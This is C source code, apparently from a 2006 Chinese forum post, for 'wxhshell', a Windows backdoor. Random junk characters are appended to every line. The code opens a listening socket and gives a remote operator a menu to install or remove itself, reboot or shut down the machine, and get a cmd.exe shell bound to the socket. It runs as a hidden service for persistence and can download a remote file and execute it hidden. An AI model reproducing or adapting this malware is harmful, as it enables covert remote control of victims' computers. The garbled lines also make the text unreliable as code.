    switch(cmd[0]) { AX v q~XE  
  uyYV_Q0~;  
  // 帮助 j.&dHtp  
  case '?': { t(3f} ?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2_wue49-l  
    break; e4z~   
  } D>5)',D8xi  
  // 安装 z206fF  
  case 'i': { ia5%  
    if(Install()) vqeH<$WHvy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *p(_="J,  
    else $}&a*c>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \foThLx  
    break; bN_e~z  
    } hL3up]pZ  
  // 卸载 __ g?xw  
  case 'r': { 1 m'.wh|  
    if(Uninstall()) )-4c@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x {NBhq(4  
    else Lp&nO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k?fz @H8D(  
    break; j#//U2VdN  
    } A]bQUWt2  
  // 显示 wxhshell 所在路径 zQ=b|p]|W  
  case 'p': { z/J?!ee  
    char svExeFile[MAX_PATH]; ;U'\"N9  
    strcpy(svExeFile,"\n\r"); 3= =["hO  
      strcat(svExeFile,ExeFile); ,!{8@*!=s  
        send(wsh,svExeFile,strlen(svExeFile),0); =p;cJ%#2]'  
    break; d_`MS@2  
    } rnK]3Ust  
  // 重启 Wr[LC&  
  case 'b': { xQ"uC!Gu4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q1VKoKb6\:  
    if(Boot(REBOOT)) T ~xVHk1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (u 7Lh>6%  
    else { 6y^ zC?  
    closesocket(wsh); \Eh5g/,[  
    ExitThread(0); Zv %>m  
    } eX$KH;M  
    break; toY_1  
    } ^&<M""Z  
  // 关机 s&E,$|80  
  case 'd': { }uIQ@f`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?2"g*Bak  
    if(Boot(SHUTDOWN)) 8xlj,}QO\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p6j-8ggL  
    else { ;T^s&/>E  
    closesocket(wsh); ={B C0,  
    ExitThread(0); i*|HN"!  
    } @|:fm() <  
    break; 8|Tqk,/pD  
    } Qf_N,Bq{a  
  // 获取shell X`g<"Ka  
  case 's': { (1CP]5W  
    CmdShell(wsh); 5~h )pt47  
    closesocket(wsh); kqeEm {I  
    ExitThread(0); c^w^'<  
    break; 4pL'c@'  
  } :P-H8*n""  
  // 退出 iFUiw&  
  case 'x': { iM8Cw/DS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V=ll 9M  
    CloseIt(wsh); 9y7hJib  
    break; w,IJ44f ^%  
    } --]blP7  
  // 离开 9Z -2MF  
  case 'q': { |.9PwD8~VD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N_g=,E=U%  
    closesocket(wsh); h!wq&Vi4  
    WSACleanup(); zYaFbNi  
    exit(1); Q b^{`  
    break; 3rRIrrYO  
        } m@ <,bZkl  
  } uRy}HLZ"  
  } G+=G c(J  
bg|$1ue  
  // 提示信息 j*QdD\)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZW;Ec+n_K  
} Qy9_tvq X  
  } :0@0muo  
_EMX x4J  
  return; ?Q_ @@)  
} q#j[0,^ $  
?sHZeWZ(  
// shell模块句柄 g}`g>&l5  
int CmdShell(SOCKET sock) "vk]y  
{ >4ex5  
STARTUPINFO si; <Ch9"1f3,  
ZeroMemory(&si,sizeof(si)); l'l&Zqd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F(1E@xs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S<(i/5Z+  
PROCESS_INFORMATION ProcessInfo; p{oz}}  
char cmdline[]="cmd"; pq0Z<b;2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .+>fD0fW7Y  
  return 0; fm Yx  
} GpPM?  
i?B<&'G  
// 自身启动模式 T ?Om]:j  
int StartFromService(void) n_{&dVE  
{ uyEk1)HC  
typedef struct QV."ZhL5=  
{ KF&8l/f  
  DWORD ExitStatus; npeL1zO-$  
  DWORD PebBaseAddress; O$z"`'&j#  
  DWORD AffinityMask; -)%\$z  
  DWORD BasePriority; $/^Y(0  
  ULONG UniqueProcessId; 3q4VH q  
  ULONG InheritedFromUniqueProcessId; 48,*sTRq  
}   PROCESS_BASIC_INFORMATION; O=}w1]  
MVM Jl">  
PROCNTQSIP NtQueryInformationProcess; !43nL[]  
+m JG:n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A23K!a2u&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \@PMj"p|:  
i$pUUK  
  HANDLE             hProcess; 8/2Wq~&  
  PROCESS_BASIC_INFORMATION pbi; UK OhsE  
F$>#P7ph\a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >c@! EPS  
  if(NULL == hInst ) return 0; u"5/QB{  
J4]"@0?6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hd4 ~v0eS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iOm&(2/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3T(ft^~  
!_Y%+Rkp0  
  if (!NtQueryInformationProcess) return 0; &=t~_ Dc  
],AtR1k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); At>e4t2@  
  if(!hProcess) return 0; }vZfp5Y  
G l/3*J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2G|}ENC  
2KXF XR  
  CloseHandle(hProcess); &2:WezDF  
!rgXB(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gD%o0 jt"  
if(hProcess==NULL) return 0; ^Zs ^  
=l2 @'YQ  
HMODULE hMod; W\Il@Je;  
char procName[255]; 9Cd=^Im5  
unsigned long cbNeeded; Qv,ORm h5  
Wv3p!zW3I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n<EIu  
Af]BR_-  
  CloseHandle(hProcess);  l  
FM3.z)>  
if(strstr(procName,"services")) return 1; // 以服务启动 K4Ed]hX  
)cgNf]oy  
  return 0; // 注册表启动 (| O(BxS  
} s4 , `  
+ d>2'  
// 主模块 J%Y-3{TQK  
int StartWxhshell(LPSTR lpCmdLine) W SvhC  
{ Nba1!5:M  
  SOCKET wsl; LB7$&.m'B  
BOOL val=TRUE; &%3}'&EBv  
  int port=0; T#E,^|WEk  
  struct sockaddr_in door; M+-odLltw  
cl23y}J_?  
  if(wscfg.ws_autoins) Install(); c(Xm~ 'jeH  
.4 NcaMj  
port=atoi(lpCmdLine); 1OY 5tq  
z xgDaT  
if(port<=0) port=wscfg.ws_port; &B8x0 yi  
EP4?+"Z  
  WSADATA data; MG&vduu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cjt].XR@  
R8.@5g_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c~M'O26bW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y}}1]}VIK  
  door.sin_family = AF_INET; ER`;0#3[9u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H(?+-72KX  
  door.sin_port = htons(port); B*`[8kb,  
5!i\S[:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =f=>buD  
closesocket(wsl); U2Siw   
return 1; SP  =8v0  
} z\k 6."e_&  
Hm 0;[i  
  if(listen(wsl,2) == INVALID_SOCKET) { K_j*9@  
closesocket(wsl); L.9@rwfI  
return 1; c ]ll89`||  
} 22d>\u+c  
  Wxhshell(wsl); x;JC{d#  
  WSACleanup(); x 'i~o'  
aE]RVyG@L  
return 0; t:'^pYN:g  
HlxgJw~<  
} lE bV)&'  
tTq2 AR|  
// 以NT服务方式启动 +s+E!=s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d<_IC7$u>  
{ rb.:(d)T  
DWORD   status = 0; ,=u!hg  
  DWORD   specificError = 0xfffffff; yBqKldl  
>U:.5Tch'V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /z1-4:^`A[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *6(/5V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [ { F;4> g  
  serviceStatus.dwWin32ExitCode     = 0; =dQ46@  
  serviceStatus.dwServiceSpecificExitCode = 0; ~c,+)69"T  
  serviceStatus.dwCheckPoint       = 0; ZB$,\|^6  
  serviceStatus.dwWaitHint       = 0; UWgPQ%}  
d ~CZ9h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :Mu]* N  
  if (hServiceStatusHandle==0) return; p?s[I)e  
`cmzmQC  
status = GetLastError(); s|Vbc@t  
  if (status!=NO_ERROR) wx/*un%2  
{ aH$DEs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e&pt[W}X%u  
    serviceStatus.dwCheckPoint       = 0; H"JzTo8u  
    serviceStatus.dwWaitHint       = 0; ,7Q b24A  
    serviceStatus.dwWin32ExitCode     = status; mj& 4FQ#O*  
    serviceStatus.dwServiceSpecificExitCode = specificError; t%s(xz#1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); avMre_@V  
    return; ti ic>j\D  
  } F^DDN7AKH  
k+u L^teyS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (ap,3$ hS  
  serviceStatus.dwCheckPoint       = 0; ;:~-=\  
  serviceStatus.dwWaitHint       = 0; l\bgp3.+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CDFX>>N  
} ;3O=lo:$~  
^hwTnW9Z1:  
// 处理NT服务事件,比如:启动、停止 rV/! VJ6x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %\ !3tN  
{ 4:s!mHcz  
switch(fdwControl) .Nd_p{   
{ u$V@akk  
case SERVICE_CONTROL_STOP: mk`#\=GE  
  serviceStatus.dwWin32ExitCode = 0; DUs0L\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,h9N,bIQg  
  serviceStatus.dwCheckPoint   = 0; )O6_9f_  
  serviceStatus.dwWaitHint     = 0; eBl B0P  
  { LyT[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O&PrO+&  
  } jW.IkG[|  
  return; WD'[|s\  
case SERVICE_CONTROL_PAUSE: m@c\<-P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /80RO:'7  
  break; \ci[<CP  
case SERVICE_CONTROL_CONTINUE: =(as{,j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c ^+{YH;k  
  break; }C{wGK+o[  
case SERVICE_CONTROL_INTERROGATE: -]Q6Ril  
  break; Xa=oEG  
}; I#:4H2H6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `< cn  
} iFB {a?BE  
iy,jq5uw  
// 标准应用程序主函数 j !rQa^   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ":Ll. =!  
{ uKpWb1(  
OR-fC  
// 获取操作系统版本 /U,;]^  
OsIsNt=GetOsVer(); \Q MRuR.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mT#ebeBaf  
>}!})]Xw9  
  // 从命令行安装 D"GQlR  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,wH]|`w  
\XgpwvO".  
  // 下载执行文件 CoQ<Ky}*  
if(wscfg.ws_downexe) { b#{[Pk,w9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]@mV9:n{  
  WinExec(wscfg.ws_filenam,SW_HIDE); \m3ca-Y  
} 0r'<aA`=I  
aiwKkf`\  
if(!OsIsNt) { J4^aD;j  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]w9\q*S]  
HideProc(); De:| T8&  
StartWxhshell(lpCmdLine); HF]|>1WV[  
} q5ja \  
else LRmH@-qP  
  if(StartFromService()) 20k@!BNq  
  // 以服务方式启动 S,2{^X  
  StartServiceCtrlDispatcher(DispatchTable); A\};^Y  
else & 0%x6vea  
  // 普通方式启动 LIMPWw g  
  StartWxhshell(lpCmdLine); GUdVsZjz(  
Jz6zJKcA  
return 0; zQyt1&!  
}
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只看该作者 1 发表于: 2006-10-10
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